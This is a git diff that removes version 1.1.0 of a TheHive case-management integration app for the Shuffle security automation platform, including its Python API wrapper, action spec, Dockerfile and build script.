newdata[field] = data - - # Bleh - url = "%s/api/alert/%s" % (url, cur_id) - if field == "status": - if data == "New" or data == "Updated": - url = "%s/markAsUnread" % url - elif data == "Ignored": - url = "%s/markAsRead" % url - - ret = requests.post( - url, - headers={ - "Content-Type": "application/json", - "Authorization": "Bearer %s" % apikey, - }, - ) - else: - ret = requests.patch( - url, - headers={ - "Content-Type": "application/json", - "Authorization": "Bearer %s" % apikey, - }, - json=newdata, - ) - - return str(ret.status_code) - else: - return ( - "%s is not implemented. See https://github.com/frikky/walkoff-integrations for more info." - % field_type - ) - - # https://github.com/TheHive-Project/TheHiveDocs/tree/master/api/connectors/cortex - def run_analyzer(self, apikey, url, cortex_id, analyzer_id, artifact_id): - self.thehive = TheHiveApi(url, apikey, cert=False) - return self.thehive.run_analyzer(cortex_id, artifact_id, analyzer_id).text - - # Creates a task log in TheHive with file - def create_task_log(self, apikey, url, task_id, message, filedata={}): - if filedata["success"] == False: - return "No file to upload. Skipping message." - - headers = { - "Authorization": "Bearer %s" % apikey, - } - - files = {} - if len(filedata["data"]) > 0: - files = { - "attachment": (filedata["filename"], filedata["data"]), - } - - data = {"_json": """{"message": "%s"}""" % message} - response = requests.post( - "%s/api/case/task/%s/log" % (url, task_id), - headers=headers, - files=files, - data=data, - ) - return response.text - - # Creates an observable as a file in a case - def create_case_file_observable(self, apikey, url, case_id, tags, filedata): - if filedata["success"] == False: - return "No file to upload. Skipping message." - - headers = { - "Authorization": "Bearer %s" % apikey, - } - - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - - files = {} - if len(filedata["data"]) > 0: - files = { - "attachment": (filedata["filename"], filedata["data"]), - } - - outerarray = {"dataType": "file", "tags": tags} - data = {"_json": """%s""" % json.dumps(outerarray)} - response = requests.post( - "%s/api/case/%s/artifact" % (url, case_id), - headers=headers, - files=files, - data=data, - ) - return response.text - - -if __name__ == "__main__": - TheHive.run() diff --git a/thehive/1.1.0/Dockerfile b/thehive/1.1.0/Dockerfile deleted file mode 100644 index bfa83edc..00000000 --- a/thehive/1.1.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -RUN apk --no-cache add --update libmagic - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/thehive/1.1.0/api.yaml b/thehive/1.1.0/api.yaml deleted file mode 100644 index aae637a9..00000000 --- a/thehive/1.1.0/api.yaml +++ /dev/null @@ -1,478 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.1.0 -name: thehive -description: TheHive implementation for Shuffle -tags: - - Ticketing - - Search -categories: - - Ticketing - - Search -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky -authentication: - required: true - parameters: - - name: apikey - description: The Apikey to use - example: "*****" - required: true - schema: - type: string - - name: url - description: The URL to use - example: "http://localhost:9000" - required: true - schema: - type: string - - name: organisation - description: The Organisation - example: "myorg" - required: false - schema: - type: string -actions: - - name: create_alert - description: Create an alert in TheHive - parameters: - - name: type - description: The type to use for the alert - example: "incident" - required: true - schema: - type: string - - name: source - description: The source to use - example: "SIEM" - required: true - schema: - type: string - - name: sourceref - description: The source reference to use - example: "incident-1234" - required: true - schema: - type: string - - name: title - description: The title to use - example: "THIS IS AN INCIDENT, PANIC" - required: false - schema: - type: string - - name: description - description: The description to use - example: "" - required: false - multiline: true - schema: - type: string - - name: tlp - description: The tlp to use - example: "2" - required: false - schema: - type: string - - name: severity - description: The severity to use - example: "2" - required: false - schema: - type: string - - name: tags - description: The tags to use - example: "ioc,incident,this is a tag,what" - required: false - schema: - type: string - returns: - example: '{"data": "this is a test", "this_is_a_number": 1, "this_is_a_list": [{"item": [{"hello": "there", "how_is_this": {"sub_in_sub": [{"another": "list"}]}}]}, {"item": "2"}], "subobject": {"data": "subobject"}}' - schema: - type: string - - name: create_alert_artifact - description: Create an alert artifact (TheHive 4 ONLY) - parameters: - - name: alert_id - description: Alert identifier - example: "~1234" - required: true - schema: - type: string - - name: dataType - description: "Observable's type, must be a valid type, one of the defined data types in TheHive" - example: "ip" - required: true - schema: - type: string - - name: data - description: Observable's data/value - example: "8.8.8.8" - required: true - schema: - type: string - - name: message - description: Observable's description - example: "Extracted IP entity from product X" - required: false - schema: - type: string - - name: tlp - description: "Case's TLP: 0, 1, 2, 3 for WHITE, GREEN, AMBER, RED. Default: 2" - example: "2" - required: false - schema: - type: string - - name: ioc - description: "Observable's ioc flag, True to mark an observable as IOC. Default: False" - example: "False" - required: false - multiline: false - schema: - type: string - - name: sighted - description: "Observable's sighted flag, True to mark the observable as sighted. Default: False" - example: "False" - required: false - multiline: false - schema: - type: string - - name: ignoreSimilarity - description: "Observable's similarity ignore flag. Trueto ignore the observable during similarity computing" - example: "False" - required: false - multiline: false - schema: - type: string - - name: tags - description: List of observable tags - example: "ioc,alienvault,abuse.ch" - required: false - schema: - type: string - returns: - example: | - [ - { - "_id": "~4321", - "id": "~4321", - "createdBy": "user.1@example.com", - "createdAt": 1616443009693, - "_type": "case_artifact", - "dataType": "ip", - "data": "8.8.8.8", - "startDate": 1616443009693, - "tlp": 2, - "tags": [ - "test1" - ], - "ioc": false, - "sighted": false, - "message": "Test IP entity", - "reports": {}, - "stats": {} - } - ] - schema: - type: string - - name: create_case - description: Get an item from TheHive - parameters: - - name: title - description: The title to use - example: "" - required: false - multiline: true - schema: - type: string - - name: description - description: The description to use - example: "" - required: false - multiline: true - schema: - type: string - - name: tlp - description: The tlp to use - example: "2" - required: false - schema: - type: string - - name: severity - description: The severity to use - example: "2" - required: false - schema: - type: string - - name: tags - description: The tags to use - example: "ioc,incident,this is a tag,what" - required: false - schema: - type: string - returns: - schema: - type: string - - name: create_case_from_alert - description: Create a case from alert - parameters: - - name: alert_id - description: The alert to promote it - example: "" - required: true - schema: - type: string - - name: case_template - description: Case template name to apply when creating the case - example: "" - required: false - schema: - type: string - returns: - schema: - type: string - - name: merge_alert_into_case - description: Merge alert into case. Each observable of the alert will be added to the case if it doesn't exist in the case. The description of the alert will be appended to the case's description. - parameters: - - name: alert_id - description: The alert to merge into case - example: "" - required: true - schema: - type: string - - name: case_id - description: The case to merge it to - example: "" - required: true - schema: - type: string - returns: - schema: - type: string - - name: add_observable - description: Add an observable to TheHive - parameters: - - name: case_id - description: The case to add it to - example: "" - required: true - schema: - type: string - - name: data - description: The item to add itself - example: "shuffler.io" - required: true - schema: - type: string - - name: datatype - description: The type of the item to add - example: "domain" - required: true - schema: - type: string - - name: tags - description: The tags to use - example: "shuffle,is,cool" - required: false - schema: - type: string - returns: - schema: - type: string - - name: get_item - description: Get an item from TheHive - parameters: - - name: field_type - description: The type to get (alert, case..) - example: "alert" - options: - - alert - - case - - case_observables - - case_task - - case_tasks - - linked_cases - - task_log - - task_logs - required: true - schema: - type: string - - name: cur_id - description: The ID of the item to retrieve - example: "" - required: true - schema: - type: string - returns: - schema: - type: string - - name: update_field - description: Update an alert field - parameters: - - name: field_type - description: The type to modify (alert, case..) - options: - - alert - - case - - case_observables - - case_task - - case_tasks - - linked_cases - - task_log - - task_logs - required: true - schema: - type: string - - name: cur_id - description: The ID of the item to modify - required: true - schema: - type: string - - name: field - description: The field to modify - required: true - schema: - type: string - - name: data - description: The data to set the field to. If you want to append to what already exists, start with %s. - required: true - multiline: true - schema: - type: string - returns: - schema: - type: number - - name: search_cases - description: Get an item from TheHive - parameters: - - name: title_query - description: The title to search for - example: "injection" - required: true - schema: - type: string - - name: search_query - description: custom search Query - parameters: - - name: search_for - description: select case or alert - options: - - case - - alert - required: true - schema: - type: string - - name: custom_query - description: Custom query for search - example: "{\"_field\": \"title\", \"_value\": \"shuffle\"}" - required: true - schema: - type: string - - name: search_alerts - description: Get an item from TheHive - parameters: - - name: title_query - description: The title to search for - example: "alert" - required: true - schema: - type: string - - name: search_range - description: The amount of alerts to get. Defaults to 0-25 - example: "0-50" - required: false - schema: - type: string - returns: - schema: - type: string - - name: close_alert - description: Close an alert in thehive - parameters: - - name: alert_id - description: The ID to close - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - returns: - schema: - type: string - - name: reopen_alert - description: Reopen an alert in TheHive - parameters: - - name: alert_id - description: The ID to close - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - - name: run_analyzer - description: Reopen an alert in TheHive - parameters: - - name: cortex_id - description: The cortex ID - example: "MISP_2_0" - required: true - schema: - type: string - - name: analyzer_id - description: The analyzer to run - example: "MISP_2_0" - required: true - schema: - type: string - - name: artifact_id - description: The artifact ID - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - returns: - schema: - type: string - - name: create_task_log - description: Creates a task log in TheHive - parameters: - - name: task_id - description: The task ID - example: "AXX1SWs8Oc6KiwR-tT2f" - required: true - schema: - type: string - - name: message - description: The message to send - example: "A nice screenshot " - required: true - schema: - type: string - - name: filedata - description: The file ID from Shuffle - example: "adf5e3d0fd85633be17004735a0a119e" - required: false - schema: - type: file - - name: create_case_file_observable - description: Creates a task log in TheHive - parameters: - - name: case_id - description: The case ID - example: "AXX1SWs8Oc6KiwR-tT2f" - required: true - schema: - type: string - - name: tags - description: Tags for the case artifact - example: "ioc,cool,artifact" - required: true - schema: - type: string - - name: filedata - description: The file ID from Shuffle - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: file - returns: - schema: - type: string -large_image: data:image/png;base64,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 diff --git a/thehive/1.1.0/docker-compose.yml b/thehive/1.1.0/docker-compose.yml deleted file mode 100644 index 47de05b2..00000000 --- a/thehive/1.1.0/docker-compose.yml +++ /dev/null @@ -1,14 +0,0 @@ -version: '3.4' -services: - thehive: - build: - context: . - dockerfile: Dockerfile - env_file: - - env.txt - restart: "no" - deploy: - mode: replicated - replicas: 10 - restart_policy: - condition: none diff --git a/thehive/1.1.0/env.txt b/thehive/1.1.0/env.txt deleted file mode 100644 index 1398a35f..00000000 --- a/thehive/1.1.0/env.txt +++ /dev/null @@ -1,4 +0,0 @@ -REDIS_URI=redis://redis -REDIS_ACTION_RESULT_CH=action-results -REDIS_ACTION_RESULTS_GROUP=action-results-group -APP_NAME=thehive diff --git a/thehive/1.1.0/requirements.txt b/thehive/1.1.0/requirements.txt deleted file mode 100644 index 1d40c46a..00000000 --- a/thehive/1.1.0/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -requests==2.25.1 -thehive4py==1.8.1 -python-magic==0.4.18 diff --git a/thehive/1.1.0/run b/thehive/1.1.0/run deleted file mode 100644 index 6127bfb7..00000000 --- a/thehive/1.1.0/run +++ /dev/null @@ -1,17 +0,0 @@ -#!/bin/sh -docker stop frikky/shuffle:thehive_1.0.0 --force -docker rm frikky/shuffle:thehive_1.0.0 --force -docker rmi frikky/shuffle:thehive_1.0.0 --force - -docker build . -t frikky/shuffle:thehive_1.0.0 - -echo "RUNNING!\n\n" -docker run \ - --env CALLBACK_URL="http://192.168.239.144:5001" \ - --env ACTION='{"app_name":"testing","app_version":"1.0.0","errors":[],"id_":"13fa4c3f-8991-3ade-b90d-f326fd4941dd","is_valid":true,"label":"random_number","environment":"onprem","name":"random_number","parameters":[],"position":{"x":178.07868996109607,"y":457.28345902971614},"priority":3}' \ - --env FUNCTION_APIKEY="asdasd" \ - --env EXECUTIONID="2349bf96-51ad-68d2-5ca6-75ef8f7ee814" \ - --env AUTHORIZATION="8e344a2e-db51-448f-804c-eb959a32c139" \ - frikky/shuffle:thehive_1.0.0 - -docker push frikky/shuffle:thehive_1.0.0 diff --git a/thehive/1.1.0/src/app.py b/thehive/1.1.0/src/app.py deleted file mode 100644 index 6268d844..00000000 --- a/thehive/1.1.0/src/app.py +++ /dev/null @@ -1,464 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -import asyncio -import time -import random -import json -import requests -import thehive4py - -from thehive4py.api import TheHiveApi -from thehive4py.query import * -import thehive4py.models - -from walkoff_app_sdk.app_base import AppBase - - -class TheHive(AppBase): - """ - An example of a Walkoff App. - Inherit from the AppBase class to have Redis, logging, and console logging set up behind the scenes. - """ - - __version__ = "1.1.0" - app_name = "thehive" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # def run_analyzer(self, apikey, url, title_query): - # self.thehive = TheHiveApi(url, apikey, cert=False) - - # response = self.thehive.find_cases(query=String("title:'%s'" % title_query), range='all', sort=[]) - # return response.text - - def __connect_thehive(self, url, apikey, organisation): - if organisation: - self.thehive = TheHiveApi( - url, apikey, cert=False, organisation=organisation - ) - else: - self.thehive = TheHiveApi(url, apikey, cert=False) - - def search_cases(self, apikey, url, organisation, title_query): - self.__connect_thehive(url, apikey, organisation) - - response = self.thehive.find_cases( - query=ContainsString("title", title_query), range="all", sort=[] - ) - - return response.text - - def search_query(self, apikey, url, organisation, search_for, custom_query): - self.__connect_thehive(url, apikey, organisation) - - try: - query = json.loads(custom_query) - except: - raise IOError("Invalid JSON payload received.") - - if search_for == "alert": - response = self.thehive.find_alerts(query=query, range="all", sort=[]) - else: - response = self.thehive.find_cases(query=query, range="all", sort=[]) - - if response.status_code == 200: - return response.text - else: - raise IOError(response.text) - - def add_observable( - self, apikey, url, organisation, case_id, data, datatype, tags - ): - self.__connect_thehive(url, apikey, organisation) - - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - else: - tags = [] - - item = thehive4py.models.CaseObservable( - dataType=datatype, - data=data, - tlp=1, - ioc=False, - sighted=False, - tags=["Shuffle"], - message="Created by shuffle", - ) - - return self.thehive.create_case_observable(case_id, item).text - - def search_alerts( - self, apikey, url, organisation, title_query, search_range="0-25" - ): - self.__connect_thehive(url, apikey, organisation) - - # Could be "all" too - if search_range == "": - search_range = "0-25" - - response = self.thehive.find_alerts( - query=ContainsString("title", title_query), 